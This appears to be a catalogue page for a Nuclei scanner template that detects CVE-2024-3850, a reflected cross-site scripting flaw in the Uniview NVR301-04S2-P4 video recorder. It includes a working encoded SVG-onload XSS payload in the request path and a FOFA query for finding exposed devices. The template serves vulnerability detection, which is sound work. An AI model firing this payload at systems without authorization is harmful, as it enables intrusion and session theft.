SecurityContext

CVE-2024-3850: Uniview NVR301-04S2-P4 - Cross-Site Scripting

  • Template: CVE-2024-3850
  • Name: Uniview NVR301-04S2-P4 - Cross-Site Scripting
  • Description: Uniview NVR301-04S2-P4 contains a reflected cross-site scripting vulnerability via the PATH of LAPI. CISA and Uniview state that this vulnerability needs to be authenticated. This is incorrect. Any PATH payload can cause XSS. A submission to Mitre has been sent to update the verbiage in the finding as well as the CVSS score.
  • Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  • Remediation: To fix this vulnerability, it is recommended to apply the latest patches or updates provided by the vendor.
  • Severity: medium
  • Authors: Bleron Rrustemi, r3naissance
  • Tags: cve, cve2024, xss, uniview, nvr, vuln
  • References: https://global.uniview.com/About_Us/Security/Notice/202406/992932_140493_0.htm, https://nvd.nist.gov/vuln/detail/CVE-2024-3850
  • Cves: CVE-2024-3850
  • Verified: yes
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2024/CVE-2024-3850.yaml
  • Digest: 4a0a004730450220787be4bcd61349483b98f1068d21f85cf30bad91a25b14adcbb471f505a34518022100a4e4dbf92dc8db9fb8a2cddfc3f8dc3ee58f3461684a17ba57c4cbc9eddc2f26
  • Created at: 2024-08-29T04:09:32Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 817
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-3850.yaml

Classification

  • Cwe: CWE-79
  • Cvss score: 5.4
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.00919
  • Epss percentile: 0.6117
  • Cpe: cpe:2.3:h:uniview:nvr301-04s2-p4:-:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="NVR301-04-P4"
  • Max-request: 1
  • Product: NVR301-04S2-P4
  • Vendor: Uniview
  • Verified: yes

Products

ProductIndexedUrl
uniview:nvr301-04s2-p4yes/v1/products/uniview/nvr301-04s2-p4

Labels

  • Name: Uniview NVR301-04S2-P4 - Reflected XSS
  • Impact: Attackers can execute malicious scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
  • Remediation: Implement proper input validation and encoding for the PATH parameter in LAPI, and update to the latest firmware version if available.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-3850
  • Not known: requirements

```yaml

id: CVE-2024-3850

info:

name: Uniview NVR301-04S2-P4 - Cross-Site Scripting

author: Bleron Rrustemi,r3naissance

severity: medium

description: |

Uniview NVR301-04S2-P4 contains a reflected cross-site scripting vulnerability via the PATH of LAPI. CISA and Uniview state that this vulnerability needs to be authenticated. This is incorrect. Any PATH payload can cause XSS. A submission to Mitre has been sent to update the verbiage in the finding as well as the CVSS score.

impact: |

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

remediation: |

To fix this vulnerability, it is recommended to apply the latest patches or updates provided by the vendor.

reference:

- https://global.uniview.com/About_Us/Security/Notice/202406/992932_140493_0.htm

- https://nvd.nist.gov/vuln/detail/CVE-2024-3850

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

cvss-score: 5.4

cve-id: CVE-2024-3850

cwe-id: CWE-79

epss-score: 0.00919

epss-percentile: 0.6117

cpe: cpe:2.3:h:uniview:nvr301-04s2-p4:-:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: Uniview

product: NVR301-04S2-P4

fofa-query: title="NVR301-04-P4"

tags: cve,cve2024,xss,uniview,nvr,vuln

http:

- method: GET

path:

- "{{BaseURL}}/V1.0%3CsVg/onload=alert.bind%28%29%281%29%3E/Alarm/Exceptions/LinkageActions?="

matchers-condition: and

matchers:

- type: word

part: body

words:

- "/V1.0<sVg/onload=alert.bind()(1)>/Alarm/Exceptions/LinkageActions?="

condition: and

- type: word

part: header

words:

- NVRDVR

- type: status

status:

- 200

digest: 4a0a004730450220787be4bcd61349483b98f1068d21f85cf30bad91a25b14adcbb471f505a34518022100a4e4dbf92dc8db9fb8a2cddfc3f8dc3ee58f3461684a17ba57c4cbc9eddc2f26:922c64590222798bb761d5b6d8e72950

```